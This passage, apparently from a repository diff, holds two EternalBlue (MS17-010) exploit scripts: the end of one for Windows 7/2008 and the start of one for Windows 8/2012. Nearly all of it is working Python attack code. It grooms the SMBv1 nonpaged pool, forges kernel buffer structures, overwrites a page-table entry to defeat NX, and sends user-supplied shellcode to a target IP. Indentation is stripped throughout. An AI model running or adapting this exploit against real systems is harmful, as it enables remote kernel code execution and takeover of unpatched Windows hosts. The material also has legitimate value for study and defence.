# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
# offset 0x1d0: KSPIN_LOCK
# offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
def createSessionAllocNonPaged(target, size):
# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
# - GetNtSecurityParameters() function is resposible for extracting data from this packet format
# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
# - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
# These 2 formats have different WordCount (first one is 13 and later is 12).
# Here is logic in BlockingSessionSetupAndX() related to this bug
# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
# - else, process a message as NT Security request
# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
# But GetExtendSecurityParameters() checks ByteCount value again.
# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
# Here is another bug in MS17-010.
# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
# https://msdn.microsoft.com/en-us/library/ee441514.aspx
# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client
# can use *_SECONDARY command to send transaction message. When sending a transaction completely with
# *_SECONDARY command, a server uses the last command that complete the transaction.
# For example:
# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
#
# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
# For example:
# - a client start transaction with SMB_COM_NT_TRANSACT command
# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction
# with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
# field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB() # must be success
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
# Above link is about SMB2, but the important here is first 4 bytes.
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
#
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os)):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# we have to know what size of NtFeaList will be created when last fragment is sent
# make sure server recv all payload before starting allocate big NonPaged
#sendEcho(conn, tid, 'a'*12)
# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# send echo again, all new 5 srvnet buffers should be created
#sendEcho(conn, tid, 'a'*12)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode by closing srvnet connection
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')

563
eternalblue_exploit8.py Normal file
View File

@@ -0,0 +1,563 @@
#!/usr/bin/python
from impacket import smb, ntlm
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
'''
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
'''
Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
// size 0x90
struct SRVNET_BUFFER_HDR {
LIST_ENTRY list;
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
};
struct SRVNET_BUFFER {
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
};
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
# This value MUST be exactly same as the number of bytes we send.
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
# - 0x90 (VOID*) : MDL.Next should be NULL
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x90 (VOID*) : MDL.Process should be NULL
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
# \x48\x01\xd1 add rcx, rdx
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
# \x89\x4a\x40 mov [rdx+0x40], ecx
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# Note: feaList will be created after knowing shellcode size.
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at PTE_ADDR+7
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64
def createFeaList(sc_size):
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
# offset 0x50: KSPIN_LOCK
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x110: array of pointer to function
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
# offset 0x120: arg1 when invoking ptr to function
# offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
self.__use_ntlmv2 = use_ntlmv2
smb.SMB.__init__(self, remote_host, remote_host)
def neg_session(self, extended_security = True, negPacket = None):
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
def createSessionAllocNonPaged(target, size):
conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
if USERNAME:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
conn.set_flags(flags2=flags2)
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
# lazy to check error code, just print fail message
print('SMB1 session setup allocate nonpaged pool failed')
sys.exit(1)
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
